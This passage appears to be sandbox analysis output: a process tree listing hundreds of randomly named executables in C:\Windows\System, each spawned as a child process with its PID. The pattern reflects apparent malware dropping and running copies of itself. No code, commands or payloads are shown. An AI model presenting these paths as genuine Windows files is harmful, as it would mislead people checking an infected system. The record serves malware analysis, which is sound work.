- C:\Windows\System\wLWdmgF.exe
  C:\Windows\System\wLWdmgF.exe
  2⤵
  PID:4168
- C:\Windows\System\vYaioJP.exe
  C:\Windows\System\vYaioJP.exe
  2⤵
  PID:4188
- C:\Windows\System\VsmYqIc.exe
  C:\Windows\System\VsmYqIc.exe
  2⤵
  PID:4208
- C:\Windows\System\svaXGmE.exe
  C:\Windows\System\svaXGmE.exe
  2⤵
  PID:4228
- C:\Windows\System\GiKcAJw.exe
  C:\Windows\System\GiKcAJw.exe
  2⤵
  PID:4248
- C:\Windows\System\qGbPhWx.exe
  C:\Windows\System\qGbPhWx.exe
  2⤵
  PID:4264
- C:\Windows\System\erpAgDo.exe
  C:\Windows\System\erpAgDo.exe
  2⤵
  PID:4288
- C:\Windows\System\hbpBeFp.exe
  C:\Windows\System\hbpBeFp.exe
  2⤵
  PID:4308
- C:\Windows\System\sNkLcGR.exe
  C:\Windows\System\sNkLcGR.exe
  2⤵
  PID:4328
- C:\Windows\System\BPQaRky.exe
  C:\Windows\System\BPQaRky.exe
  2⤵
  PID:4348
- C:\Windows\System\HRvtsNB.exe
  C:\Windows\System\HRvtsNB.exe
  2⤵
  PID:4364
- C:\Windows\System\cnsPLiM.exe
  C:\Windows\System\cnsPLiM.exe
  2⤵
  PID:4388
- C:\Windows\System\onyXOZL.exe
  C:\Windows\System\onyXOZL.exe
  2⤵
  PID:4408
- C:\Windows\System\msYrvGG.exe
  C:\Windows\System\msYrvGG.exe
  2⤵
  PID:4424
- C:\Windows\System\YROTpIN.exe
  C:\Windows\System\YROTpIN.exe
  2⤵
  PID:4448
- C:\Windows\System\fvYSJVR.exe
  C:\Windows\System\fvYSJVR.exe
  2⤵
  PID:4468
- C:\Windows\System\RXMVbvS.exe
  C:\Windows\System\RXMVbvS.exe
  2⤵
  PID:4484
- C:\Windows\System\ILweRtW.exe
  C:\Windows\System\ILweRtW.exe
  2⤵
  PID:4504
- C:\Windows\System\zkmmOOi.exe
  C:\Windows\System\zkmmOOi.exe
  2⤵
  PID:4528
- C:\Windows\System\IYpiWWK.exe
  C:\Windows\System\IYpiWWK.exe
  2⤵
  PID:4544
- C:\Windows\System\lVYQODY.exe
  C:\Windows\System\lVYQODY.exe
  2⤵
  PID:4560
- C:\Windows\System\RokmrrM.exe
  C:\Windows\System\RokmrrM.exe
  2⤵
  PID:4576
- C:\Windows\System\orOIXFW.exe
  C:\Windows\System\orOIXFW.exe
  2⤵
  PID:4592
- C:\Windows\System\WqQIVMq.exe
  C:\Windows\System\WqQIVMq.exe
  2⤵
  PID:4620
- C:\Windows\System\uoaqeVz.exe
  C:\Windows\System\uoaqeVz.exe
  2⤵
  PID:4644
- C:\Windows\System\XTdGQOq.exe
  C:\Windows\System\XTdGQOq.exe
  2⤵
  PID:4660
- C:\Windows\System\JXCRKzD.exe
  C:\Windows\System\JXCRKzD.exe
  2⤵
  PID:4676
- C:\Windows\System\qlPoPcm.exe
  C:\Windows\System\qlPoPcm.exe
  2⤵
  PID:4704
- C:\Windows\System\AghdrVB.exe
  C:\Windows\System\AghdrVB.exe
  2⤵
  PID:4728
- C:\Windows\System\hGTOSsl.exe
  C:\Windows\System\hGTOSsl.exe
  2⤵
  PID:4744
- C:\Windows\System\LwOmsNQ.exe
  C:\Windows\System\LwOmsNQ.exe
  2⤵
  PID:4760
- C:\Windows\System\IvYOEbq.exe
  C:\Windows\System\IvYOEbq.exe
  2⤵
  PID:4776
- C:\Windows\System\BlcklWy.exe
  C:\Windows\System\BlcklWy.exe
  2⤵
  PID:4796
- C:\Windows\System\rmdSWDG.exe
  C:\Windows\System\rmdSWDG.exe
  2⤵
  PID:4812
- C:\Windows\System\YnwHgTH.exe
  C:\Windows\System\YnwHgTH.exe
  2⤵
  PID:4836
- C:\Windows\System\LyzkGdq.exe
  C:\Windows\System\LyzkGdq.exe
  2⤵
  PID:4860
- C:\Windows\System\ZTFTUVz.exe
  C:\Windows\System\ZTFTUVz.exe
  2⤵
  PID:4888
- C:\Windows\System\dfsFjeS.exe
  C:\Windows\System\dfsFjeS.exe
  2⤵
  PID:4904
- C:\Windows\System\CFGgezf.exe
  C:\Windows\System\CFGgezf.exe
  2⤵
  PID:4920
- C:\Windows\System\lOgBjif.exe
  C:\Windows\System\lOgBjif.exe
  2⤵
  PID:4940
- C:\Windows\System\CAvTQzD.exe
  C:\Windows\System\CAvTQzD.exe
  2⤵
  PID:4960
- C:\Windows\System\aDkWlpv.exe
  C:\Windows\System\aDkWlpv.exe
  2⤵
  PID:4976
- C:\Windows\System\XBZpswv.exe
  C:\Windows\System\XBZpswv.exe
  2⤵
  PID:5000
- C:\Windows\System\rcbUbQc.exe
  C:\Windows\System\rcbUbQc.exe
  2⤵
  PID:5020
- C:\Windows\System\ILoOEHA.exe
  C:\Windows\System\ILoOEHA.exe
  2⤵
  PID:5044
- C:\Windows\System\sHVvFcI.exe
  C:\Windows\System\sHVvFcI.exe
  2⤵
  PID:5060
- C:\Windows\System\HxebKqI.exe
  C:\Windows\System\HxebKqI.exe
  2⤵
  PID:5084
- C:\Windows\System\OQTZjDy.exe
  C:\Windows\System\OQTZjDy.exe
  2⤵
  PID:5100
- C:\Windows\System\AWJBWoe.exe
  C:\Windows\System\AWJBWoe.exe
  2⤵
  PID:3152
- C:\Windows\System\WVmPtxV.exe
  C:\Windows\System\WVmPtxV.exe
  2⤵
  PID:4120
- C:\Windows\System\QAlMwXr.exe
  C:\Windows\System\QAlMwXr.exe
  2⤵
  PID:4164
- C:\Windows\System\dvsWHic.exe
  C:\Windows\System\dvsWHic.exe
  2⤵
  PID:4196
- C:\Windows\System\FsggWet.exe
  C:\Windows\System\FsggWet.exe
  2⤵
  PID:4224
- C:\Windows\System\efTuysC.exe
  C:\Windows\System\efTuysC.exe
  2⤵
  PID:4244
- C:\Windows\System\rFqKyXy.exe
  C:\Windows\System\rFqKyXy.exe
  2⤵
  PID:4276
- C:\Windows\System\GIPRFPE.exe
  C:\Windows\System\GIPRFPE.exe
  2⤵
  PID:4300
- C:\Windows\System\GHkbbDO.exe
  C:\Windows\System\GHkbbDO.exe
  2⤵
  PID:4356
- C:\Windows\System\ftcYlrD.exe
  C:\Windows\System\ftcYlrD.exe
  2⤵
  PID:4380
- C:\Windows\System\iEQRbtm.exe
  C:\Windows\System\iEQRbtm.exe
  2⤵
  PID:4400
- C:\Windows\System\eNXizcZ.exe
  C:\Windows\System\eNXizcZ.exe
  2⤵
  PID:4436
- C:\Windows\System\XnmssTb.exe
  C:\Windows\System\XnmssTb.exe
  2⤵
  PID:4460
- C:\Windows\System\ebGPHKL.exe
  C:\Windows\System\ebGPHKL.exe
  2⤵
  PID:4492
- C:\Windows\System\aTLqoNa.exe
  C:\Windows\System\aTLqoNa.exe
  2⤵
  PID:4512
- C:\Windows\System\gdDxRcY.exe
  C:\Windows\System\gdDxRcY.exe
  2⤵
  PID:4536
- C:\Windows\System\uBYpOvn.exe
  C:\Windows\System\uBYpOvn.exe
  2⤵
  PID:4568
- C:\Windows\System\ffCOUNV.exe
  C:\Windows\System\ffCOUNV.exe
  2⤵
  PID:4604
- C:\Windows\System\BiTnSad.exe
  C:\Windows\System\BiTnSad.exe
  2⤵
  PID:4640
- C:\Windows\System\eFmIBUM.exe
  C:\Windows\System\eFmIBUM.exe
  2⤵
  PID:4684
- C:\Windows\System\KZtolZP.exe
  C:\Windows\System\KZtolZP.exe
  2⤵
  PID:4700
- C:\Windows\System\vbLxSmp.exe
  C:\Windows\System\vbLxSmp.exe
  2⤵
  PID:4844
- C:\Windows\System\iWpeHWP.exe
  C:\Windows\System\iWpeHWP.exe
  2⤵
  PID:4852
- C:\Windows\System\idfBQzE.exe
  C:\Windows\System\idfBQzE.exe
  2⤵
  PID:4876
- C:\Windows\System\VSAROza.exe
  C:\Windows\System\VSAROza.exe
  2⤵
  PID:4928
- C:\Windows\System\DlmgGpQ.exe
  C:\Windows\System\DlmgGpQ.exe
  2⤵
  PID:4956
- C:\Windows\System\IfnAcwO.exe
  C:\Windows\System\IfnAcwO.exe
  2⤵
  PID:4952
- C:\Windows\System\kKFHPPu.exe
  C:\Windows\System\kKFHPPu.exe
  2⤵
  PID:5008
- C:\Windows\System\rpAeciq.exe
  C:\Windows\System\rpAeciq.exe
  2⤵
  PID:5028
- C:\Windows\System\vWGrMxB.exe
  C:\Windows\System\vWGrMxB.exe
  2⤵
  PID:5036
- C:\Windows\System\OqrGtri.exe
  C:\Windows\System\OqrGtri.exe
  2⤵
  PID:5076
- C:\Windows\System\dhXKKRa.exe
  C:\Windows\System\dhXKKRa.exe
  2⤵
  PID:5096
- C:\Windows\System\McZWRuR.exe
  C:\Windows\System\McZWRuR.exe
  2⤵
  PID:4140
- C:\Windows\System\nMZiXnX.exe
  C:\Windows\System\nMZiXnX.exe
  2⤵
  PID:4148
- C:\Windows\System\cIGbxat.exe
  C:\Windows\System\cIGbxat.exe
  2⤵
  PID:4324
- C:\Windows\System\DKkMMgM.exe
  C:\Windows\System\DKkMMgM.exe
  2⤵
  PID:4420
- C:\Windows\System\KYaOtYc.exe
  C:\Windows\System\KYaOtYc.exe
  2⤵
  PID:4444
- C:\Windows\System\XMQxpbe.exe
  C:\Windows\System\XMQxpbe.exe
  2⤵
  PID:4520
- C:\Windows\System\bMnVrCa.exe
  C:\Windows\System\bMnVrCa.exe
  2⤵
  PID:4588
- C:\Windows\System\KsclzWU.exe
  C:\Windows\System\KsclzWU.exe
  2⤵
  PID:4688
- C:\Windows\System\lqiSoOv.exe
  C:\Windows\System\lqiSoOv.exe
  2⤵
  PID:4600
- C:\Windows\System\cvPHqgG.exe
  C:\Windows\System\cvPHqgG.exe
  2⤵
  PID:4768
- C:\Windows\System\mBPxdQJ.exe
  C:\Windows\System\mBPxdQJ.exe
  2⤵
  PID:4820
- C:\Windows\System\lAkWYPo.exe
  C:\Windows\System\lAkWYPo.exe
  2⤵
  PID:4824
- C:\Windows\System\AkOTYoK.exe
  C:\Windows\System\AkOTYoK.exe
  2⤵
  PID:4868
- C:\Windows\System\jdglHiy.exe
  C:\Windows\System\jdglHiy.exe
  2⤵
  PID:4984
- C:\Windows\System\uKDzYqd.exe
  C:\Windows\System\uKDzYqd.exe
  2⤵
  PID:4180
- C:\Windows\System\dtGLnkr.exe
  C:\Windows\System\dtGLnkr.exe
  2⤵
  PID:4968
- C:\Windows\System\XPhfczZ.exe
  C:\Windows\System\XPhfczZ.exe
  2⤵
  PID:5056
- C:\Windows\System\PbJjEKJ.exe
  C:\Windows\System\PbJjEKJ.exe
  2⤵
  PID:5052
- C:\Windows\System\HzFeost.exe
  C:\Windows\System\HzFeost.exe
  2⤵
  PID:4304
- C:\Windows\System\VKfNSms.exe
  C:\Windows\System\VKfNSms.exe
  2⤵
  PID:4344
- C:\Windows\System\zayxfeC.exe
  C:\Windows\System\zayxfeC.exe
  2⤵
  PID:2844
- C:\Windows\System\XfzKWfZ.exe
  C:\Windows\System\XfzKWfZ.exe
  2⤵
  PID:4496
- C:\Windows\System\murzOhh.exe
  C:\Windows\System\murzOhh.exe
  2⤵
  PID:4464
- C:\Windows\System\CeWJlWj.exe
  C:\Windows\System\CeWJlWj.exe
  2⤵
  PID:4652
- C:\Windows\System\EDXiDDG.exe
  C:\Windows\System\EDXiDDG.exe
  2⤵
  PID:4636
- C:\Windows\System\UtZfGUk.exe
  C:\Windows\System\UtZfGUk.exe
  2⤵
  PID:4716
- C:\Windows\System\GCLxYLn.exe
  C:\Windows\System\GCLxYLn.exe
  2⤵
  PID:4792
- C:\Windows\System\ZXLPDiP.exe
  C:\Windows\System\ZXLPDiP.exe
  2⤵
  PID:4916
- C:\Windows\System\SjGJezQ.exe
  C:\Windows\System\SjGJezQ.exe
  2⤵
  PID:5068
- C:\Windows\System\JLPXjtl.exe
  C:\Windows\System\JLPXjtl.exe
  2⤵
  PID:4376
- C:\Windows\System\PGyQpzF.exe
  C:\Windows\System\PGyQpzF.exe
  2⤵
  PID:5080
- C:\Windows\System\VBlvqrC.exe
  C:\Windows\System\VBlvqrC.exe
  2⤵
  PID:4416
- C:\Windows\System\hLgEYgJ.exe
  C:\Windows\System\hLgEYgJ.exe
  2⤵
  PID:5128
- C:\Windows\System\KMQnQOJ.exe
  C:\Windows\System\KMQnQOJ.exe
  2⤵
  PID:5144
- C:\Windows\System\gpVRkmD.exe
  C:\Windows\System\gpVRkmD.exe
  2⤵
  PID:5160
- C:\Windows\System\gjIBrsL.exe
  C:\Windows\System\gjIBrsL.exe
  2⤵
  PID:5176
- C:\Windows\System\vzDHjAc.exe
  C:\Windows\System\vzDHjAc.exe
  2⤵
  PID:5192
- C:\Windows\System\CXlOmAU.exe
  C:\Windows\System\CXlOmAU.exe
  2⤵
  PID:5212
- C:\Windows\System\GQBoMPA.exe
  C:\Windows\System\GQBoMPA.exe
  2⤵
  PID:5232
- C:\Windows\System\yMauUvf.exe
  C:\Windows\System\yMauUvf.exe
  2⤵
  PID:5348
- C:\Windows\System\eCwrWoj.exe
  C:\Windows\System\eCwrWoj.exe
  2⤵
  PID:5364
- C:\Windows\System\LVRLXnX.exe
  C:\Windows\System\LVRLXnX.exe
  2⤵
  PID:5380
- C:\Windows\System\ZRwXJqj.exe
  C:\Windows\System\ZRwXJqj.exe
  2⤵
  PID:5396
- C:\Windows\System\bFTLEIj.exe
  C:\Windows\System\bFTLEIj.exe
  2⤵
  PID:5412
- C:\Windows\System\yALqdho.exe
  C:\Windows\System\yALqdho.exe
  2⤵
  PID:5428
- C:\Windows\System\Usfpcel.exe
  C:\Windows\System\Usfpcel.exe
  2⤵
  PID:5444
- C:\Windows\System\IybGMTz.exe
  C:\Windows\System\IybGMTz.exe
  2⤵
  PID:5464
- C:\Windows\System\rvbNHGc.exe
  C:\Windows\System\rvbNHGc.exe
  2⤵
  PID:5480
- C:\Windows\System\uQUToZK.exe
  C:\Windows\System\uQUToZK.exe
  2⤵
  PID:5496
- C:\Windows\System\wzzUCbj.exe
  C:\Windows\System\wzzUCbj.exe
  2⤵
  PID:5512
- C:\Windows\System\gaYNfxE.exe
  C:\Windows\System\gaYNfxE.exe
  2⤵
  PID:5528
- C:\Windows\System\ZjrWDEk.exe
  C:\Windows\System\ZjrWDEk.exe
  2⤵
  PID:5544
- C:\Windows\System\DGgPvGE.exe
  C:\Windows\System\DGgPvGE.exe
  2⤵
  PID:5560
- C:\Windows\System\ijDHQDo.exe
  C:\Windows\System\ijDHQDo.exe
  2⤵
  PID:5576
- C:\Windows\System\LpbBQbP.exe
  C:\Windows\System\LpbBQbP.exe
  2⤵
  PID:5592
- C:\Windows\System\nhuYPBQ.exe
  C:\Windows\System\nhuYPBQ.exe
  2⤵
  PID:5608
- C:\Windows\System\MkWgTCc.exe
  C:\Windows\System\MkWgTCc.exe
  2⤵
  PID:5624
- C:\Windows\System\PAlwLdF.exe
  C:\Windows\System\PAlwLdF.exe
  2⤵
  PID:5640
- C:\Windows\System\ZyjWuRx.exe
  C:\Windows\System\ZyjWuRx.exe
  2⤵
  PID:5656
- C:\Windows\System\pNsEbSx.exe
  C:\Windows\System\pNsEbSx.exe
  2⤵
  PID:5672
- C:\Windows\System\NtSROID.exe
  C:\Windows\System\NtSROID.exe
  2⤵
  PID:5688
- C:\Windows\System\UvMOypb.exe
  C:\Windows\System\UvMOypb.exe
  2⤵
  PID:5704
- C:\Windows\System\ckKyHhI.exe
  C:\Windows\System\ckKyHhI.exe
  2⤵
  PID:5720
- C:\Windows\System\NlrhYBN.exe
  C:\Windows\System\NlrhYBN.exe
  2⤵
  PID:5740
- C:\Windows\System\YefUjXU.exe
  C:\Windows\System\YefUjXU.exe
  2⤵
  PID:5756
- C:\Windows\System\vSUXLgJ.exe
  C:\Windows\System\vSUXLgJ.exe
  2⤵
  PID:5772
- C:\Windows\System\YDrgdft.exe
  C:\Windows\System\YDrgdft.exe
  2⤵
  PID:5788
- C:\Windows\System\bltYiRa.exe
  C:\Windows\System\bltYiRa.exe
  2⤵
  PID:5804
- C:\Windows\System\SOTLdWK.exe
  C:\Windows\System\SOTLdWK.exe
  2⤵
  PID:5820
- C:\Windows\System\lrknrzX.exe
  C:\Windows\System\lrknrzX.exe
  2⤵
  PID:5836
- C:\Windows\System\nlLoqeZ.exe
  C:\Windows\System\nlLoqeZ.exe
  2⤵
  PID:5852
- C:\Windows\System\mMTpvNg.exe
  C:\Windows\System\mMTpvNg.exe
  2⤵
  PID:5876
- C:\Windows\System\lAHTsqb.exe
  C:\Windows\System\lAHTsqb.exe
  2⤵
  PID:5892
- C:\Windows\System\DnbZwSC.exe
  C:\Windows\System\DnbZwSC.exe
  2⤵
  PID:5908
- C:\Windows\System\ThpdRJo.exe
  C:\Windows\System\ThpdRJo.exe
  2⤵
  PID:5924
- C:\Windows\System\oVEqVMe.exe
  C:\Windows\System\oVEqVMe.exe
  2⤵
  PID:5940
- C:\Windows\System\WuklKsp.exe
  C:\Windows\System\WuklKsp.exe
  2⤵
  PID:5956
- C:\Windows\System\AkZfgHR.exe
  C:\Windows\System\AkZfgHR.exe
  2⤵
  PID:5972
- C:\Windows\System\XdviPRW.exe
  C:\Windows\System\XdviPRW.exe
  2⤵
  PID:5988
- C:\Windows\System\OafdPCT.exe
  C:\Windows\System\OafdPCT.exe
  2⤵
  PID:6004
- C:\Windows\System\puoHuir.exe
  C:\Windows\System\puoHuir.exe
  2⤵
  PID:6020
- C:\Windows\System\hZwtcMx.exe
  C:\Windows\System\hZwtcMx.exe
  2⤵
  PID:6036
- C:\Windows\System\WVTIOpB.exe
  C:\Windows\System\WVTIOpB.exe
  2⤵
  PID:6052
- C:\Windows\System\IDSYaBG.exe
  C:\Windows\System\IDSYaBG.exe
  2⤵
  PID:6068
- C:\Windows\System\NaIaDHS.exe
  C:\Windows\System\NaIaDHS.exe
  2⤵
  PID:6084
- C:\Windows\System\czpWjsG.exe
  C:\Windows\System\czpWjsG.exe
  2⤵
  PID:6100
- C:\Windows\System\DTeHtua.exe
  C:\Windows\System\DTeHtua.exe
  2⤵
  PID:6120
- C:\Windows\System\yEtkYvY.exe
  C:\Windows\System\yEtkYvY.exe
  2⤵
  PID:6136
- C:\Windows\System\PrrfRZK.exe
  C:\Windows\System\PrrfRZK.exe
  2⤵
  PID:4692
- C:\Windows\System\iBrpKNJ.exe
  C:\Windows\System\iBrpKNJ.exe
  2⤵
  PID:5112
- C:\Windows\System\stJlwsp.exe
  C:\Windows\System\stJlwsp.exe
  2⤵
  PID:5012
- C:\Windows\System\RPBjqLZ.exe
  C:\Windows\System\RPBjqLZ.exe
  2⤵
  PID:5168
- C:\Windows\System\TkwEhzb.exe
  C:\Windows\System\TkwEhzb.exe
  2⤵
  PID:5208
- C:\Windows\System\xdCWKjr.exe
  C:\Windows\System\xdCWKjr.exe
  2⤵
  PID:2856
- C:\Windows\System\dQUzvez.exe
  C:\Windows\System\dQUzvez.exe
  2⤵
  PID:5016
- C:\Windows\System\AQzsTkc.exe
  C:\Windows\System\AQzsTkc.exe
  2⤵
  PID:4668
- C:\Windows\System\kRmBdjN.exe
  C:\Windows\System\kRmBdjN.exe
  2⤵
  PID:4272
- C:\Windows\System\fcECWrt.exe
  C:\Windows\System\fcECWrt.exe
  2⤵
  PID:5228
- C:\Windows\System\zZeKNVJ.exe
  C:\Windows\System\zZeKNVJ.exe
  2⤵
  PID:5188
- C:\Windows\System\REyVSwT.exe
  C:\Windows\System\REyVSwT.exe
  2⤵
  PID:5256
- C:\Windows\System\pAiGKuV.exe
  C:\Windows\System\pAiGKuV.exe
  2⤵
  PID:5276
- C:\Windows\System\QVnqzgI.exe
  C:\Windows\System\QVnqzgI.exe
  2⤵
  PID:5288
- C:\Windows\System\HANzBnC.exe
  C:\Windows\System\HANzBnC.exe
  2⤵
  PID:5304
- C:\Windows\System\RlaeJIA.exe
  C:\Windows\System\RlaeJIA.exe
  2⤵
  PID:5320
- C:\Windows\System\anndYLp.exe
  C:\Windows\System\anndYLp.exe
  2⤵
  PID:5336
- C:\Windows\System\cBUEQNf.exe
  C:\Windows\System\cBUEQNf.exe
  2⤵
  PID:5324
- C:\Windows\System\jhsADMN.exe
  C:\Windows\System\jhsADMN.exe
  2⤵
  PID:5408
- C:\Windows\System\BiKqwuN.exe
  C:\Windows\System\BiKqwuN.exe
  2⤵
  PID:5476
- C:\Windows\System\APQgvfI.exe
  C:\Windows\System\APQgvfI.exe
  2⤵
  PID:5388
- C:\Windows\System\VYFziGR.exe
  C:\Windows\System\VYFziGR.exe
  2⤵
  PID:5452
- C:\Windows\System\wBekHwA.exe
  C:\Windows\System\wBekHwA.exe
  2⤵
  PID:5504
- C:\Windows\System\BnrkegT.exe
  C:\Windows\System\BnrkegT.exe
  2⤵
  PID:5600
- C:\Windows\System\jfeuitY.exe
  C:\Windows\System\jfeuitY.exe
  2⤵
  PID:5664
- C:\Windows\System\WbfLYcd.exe
  C:\Windows\System\WbfLYcd.exe
  2⤵
  PID:5520
- C:\Windows\System\WSpDlkt.exe
  C:\Windows\System\WSpDlkt.exe
  2⤵
  PID:5828
- C:\Windows\System\FuTyMPY.exe
  C:\Windows\System\FuTyMPY.exe
  2⤵
  PID:5832
- C:\Windows\System\KSkaJTA.exe
  C:\Windows\System\KSkaJTA.exe
  2⤵
  PID:5864
- C:\Windows\System\BGnFTcg.exe
  C:\Windows\System\BGnFTcg.exe
  2⤵
  PID:5904
- C:\Windows\System\JAEepbT.exe
  C:\Windows\System\JAEepbT.exe
  2⤵
  PID:5680
- C:\Windows\System\qRQvipj.exe
  C:\Windows\System\qRQvipj.exe
  2⤵
  PID:5492
- C:\Windows\System\LyKRmwV.exe
  C:\Windows\System\LyKRmwV.exe
  2⤵
  PID:5620
- C:\Windows\System\UETGTnu.exe
  C:\Windows\System\UETGTnu.exe
  2⤵
  PID:5712
- C:\Windows\System\YNzLRVH.exe
  C:\Windows\System\YNzLRVH.exe
  2⤵
  PID:5748
- C:\Windows\System\PBRguUk.exe
  C:\Windows\System\PBRguUk.exe
  2⤵
  PID:5816
- C:\Windows\System\mQwMSPD.exe
  C:\Windows\System\mQwMSPD.exe
  2⤵
  PID:5980
- C:\Windows\System\cCHlqFz.exe
  C:\Windows\System\cCHlqFz.exe
  2⤵
  PID:5984
- C:\Windows\System\EmTMJWK.exe
  C:\Windows\System\EmTMJWK.exe
  2⤵
  PID:5948
- C:\Windows\System\ZgfQTqu.exe
  C:\Windows\System\ZgfQTqu.exe
  2⤵
  PID:6012
- C:\Windows\System\tkYcrfA.exe
  C:\Windows\System\tkYcrfA.exe
  2⤵
  PID:6112
- C:\Windows\System\xYVaLHr.exe
  C:\Windows\System\xYVaLHr.exe
  2⤵
  PID:6116
- C:\Windows\System\eIfFzdA.exe
  C:\Windows\System\eIfFzdA.exe
  2⤵
  PID:5156
- C:\Windows\System\csINrkk.exe
  C:\Windows\System\csINrkk.exe
  2⤵
  PID:4216
- C:\Windows\System\IbFAGVe.exe
  C:\Windows\System\IbFAGVe.exe
  2⤵
  PID:5200
- C:\Windows\System\NwdouLO.exe
  C:\Windows\System\NwdouLO.exe
  2⤵
  PID:5252
- C:\Windows\System\wDghoVx.exe
  C:\Windows\System\wDghoVx.exe
  2⤵
  PID:5316
- C:\Windows\System\ArfdoVG.exe
  C:\Windows\System\ArfdoVG.exe
  2⤵
  PID:5344
- C:\Windows\System\SybVIVy.exe
  C:\Windows\System\SybVIVy.exe
  2⤵
  PID:5424
- C:\Windows\System\qsFFFGP.exe
  C:\Windows\System\qsFFFGP.exe
  2⤵
  PID:5764
- C:\Windows\System\uoXJPHa.exe
  C:\Windows\System\uoXJPHa.exe
  2⤵
  PID:4804
- C:\Windows\System\JySkBPr.exe
  C:\Windows\System\JySkBPr.exe
  2⤵
  PID:5296
- C:\Windows\System\QvBSJtW.exe
  C:\Windows\System\QvBSJtW.exe
  2⤵
  PID:5488
- C:\Windows\System\ZhzlreO.exe
  C:\Windows\System\ZhzlreO.exe
  2⤵
  PID:5780
- C:\Windows\System\pwgqiEf.exe
  C:\Windows\System\pwgqiEf.exe
  2⤵
  PID:5472
- C:\Windows\System\qWxqMkk.exe
  C:\Windows\System\qWxqMkk.exe
  2⤵
  PID:5572
- C:\Windows\System\UaNFYkx.exe
  C:\Windows\System\UaNFYkx.exe
  2⤵
  PID:5616
- C:\Windows\System\kEteHQi.exe
  C:\Windows\System\kEteHQi.exe
  2⤵
  PID:5264
- C:\Windows\System\jiktkCb.exe
  C:\Windows\System\jiktkCb.exe
  2⤵
  PID:5868
- C:\Windows\System\tEWEZco.exe
  C:\Windows\System\tEWEZco.exe
  2⤵
  PID:5736
- C:\Windows\System\ZVxftMh.exe
  C:\Windows\System\ZVxftMh.exe
  2⤵
  PID:6060
- C:\Windows\System\YBDZIZJ.exe
  C:\Windows\System\YBDZIZJ.exe
  2⤵
  PID:6108
- C:\Windows\System\ihbVfNA.exe
  C:\Windows\System\ihbVfNA.exe
  2⤵
  PID:5916
- C:\Windows\System\pIUDdNU.exe
  C:\Windows\System\pIUDdNU.exe
  2⤵
  PID:5244
- C:\Windows\System\XUoBXaS.exe
  C:\Windows\System\XUoBXaS.exe
  2⤵
  PID:4740
- C:\Windows\System\mtAWKln.exe
  C:\Windows\System\mtAWKln.exe
  2⤵
  PID:5420
- C:\Windows\System\lnjgVpB.exe
  C:\Windows\System\lnjgVpB.exe
  2⤵
  PID:5248
- C:\Windows\System\WDphRSA.exe
  C:\Windows\System\WDphRSA.exe
  2⤵
  PID:5668
- C:\Windows\System\UhympML.exe
  C:\Windows\System\UhympML.exe
  2⤵
  PID:5456
- C:\Windows\System\kqgZCCs.exe
  C:\Windows\System\kqgZCCs.exe
  2⤵
  PID:4116
- C:\Windows\System\vSYowwh.exe
  C:\Windows\System\vSYowwh.exe
  2⤵
  PID:5372
- C:\Windows\System\dXkFMxI.exe
  C:\Windows\System\dXkFMxI.exe
  2⤵
  PID:5920
- C:\Windows\System\TThMBQg.exe
  C:\Windows\System\TThMBQg.exe
  2⤵
  PID:5140
- C:\Windows\System\FNjVIlp.exe
  C:\Windows\System\FNjVIlp.exe
  2⤵
  PID:6076
- C:\Windows\System\SvuGDhQ.exe
  C:\Windows\System\SvuGDhQ.exe
  2⤵
  PID:5312
- C:\Windows\System\idKnhzA.exe
  C:\Windows\System\idKnhzA.exe
  2⤵
  PID:5936
- C:\Windows\System\dAalRdo.exe
  C:\Windows\System\dAalRdo.exe
  2⤵
  PID:6028
- C:\Windows\System\OhdKxNi.exe
  C:\Windows\System\OhdKxNi.exe
  2⤵
  PID:5860
- C:\Windows\System\IwUowVD.exe
  C:\Windows\System\IwUowVD.exe
  2⤵
  PID:5584
- C:\Windows\System\fBpNySf.exe
  C:\Windows\System\fBpNySf.exe
  2⤵
  PID:4996
- C:\Windows\System\LLboJFL.exe
  C:\Windows\System\LLboJFL.exe
  2⤵
  PID:5768
- C:\Windows\System\JytXVLo.exe
  C:\Windows\System\JytXVLo.exe
  2⤵
  PID:4540
- C:\Windows\System\UDkurSK.exe
  C:\Windows\System\UDkurSK.exe
  2⤵
  PID:5224
- C:\Windows\System\ILPyPry.exe
  C:\Windows\System\ILPyPry.exe
  2⤵
  PID:6156
- C:\Windows\System\hJqlLOD.exe
  C:\Windows\System\hJqlLOD.exe
  2⤵
  PID:6172
- C:\Windows\System\Fanlizo.exe
  C:\Windows\System\Fanlizo.exe
  2⤵
  PID:6188
- C:\Windows\System\wMqLNYh.exe
  C:\Windows\System\wMqLNYh.exe
  2⤵
  PID:6204
- C:\Windows\System\bKzzuOX.exe
  C:\Windows\System\bKzzuOX.exe
  2⤵
  PID:6220
- C:\Windows\System\ZCWHnkD.exe
  C:\Windows\System\ZCWHnkD.exe
  2⤵
  PID:6236
- C:\Windows\System\VgxQRLv.exe
  C:\Windows\System\VgxQRLv.exe
  2⤵
  PID:6252
- C:\Windows\System\DoPsEEs.exe
  C:\Windows\System\DoPsEEs.exe
  2⤵
  PID:6272
- C:\Windows\System\yCgDcQA.exe
  C:\Windows\System\yCgDcQA.exe
  2⤵
  PID:6288
- C:\Windows\System\sNIEdFJ.exe
  C:\Windows\System\sNIEdFJ.exe
  2⤵
  PID:6304
- C:\Windows\System\PDAHvjW.exe
  C:\Windows\System\PDAHvjW.exe
  2⤵
  PID:6320
- C:\Windows\System\QJykAaS.exe
  C:\Windows\System\QJykAaS.exe
  2⤵
  PID:6336
- C:\Windows\System\VLPmjBT.exe
  C:\Windows\System\VLPmjBT.exe
  2⤵
  PID:6352
- C:\Windows\System\QZgExJb.exe
  C:\Windows\System\QZgExJb.exe
  2⤵
  PID:6368
- C:\Windows\System\KEjdOMX.exe
  C:\Windows\System\KEjdOMX.exe
  2⤵
  PID:6384
- C:\Windows\System\zGrwVTe.exe
  C:\Windows\System\zGrwVTe.exe
  2⤵
  PID:6400
- C:\Windows\System\SdAwYoD.exe
  C:\Windows\System\SdAwYoD.exe
  2⤵
  PID:6416
- C:\Windows\System\VGHWyuw.exe
  C:\Windows\System\VGHWyuw.exe
  2⤵
  PID:6432
- C:\Windows\System\bQdQGmw.exe
  C:\Windows\System\bQdQGmw.exe
  2⤵
  PID:6448
- C:\Windows\System\xIzQKZA.exe
  C:\Windows\System\xIzQKZA.exe
  2⤵
  PID:6464
- C:\Windows\System\MpHvnsB.exe
  C:\Windows\System\MpHvnsB.exe
  2⤵
  PID:6480
- C:\Windows\System\vjjpHGz.exe
  C:\Windows\System\vjjpHGz.exe
  2⤵
  PID:6496
- C:\Windows\System\XftDWpu.exe
  C:\Windows\System\XftDWpu.exe
  2⤵
  PID:6512
- C:\Windows\System\krLqNXF.exe
  C:\Windows\System\krLqNXF.exe
  2⤵
  PID:6528
- C:\Windows\System\HUJYPSG.exe
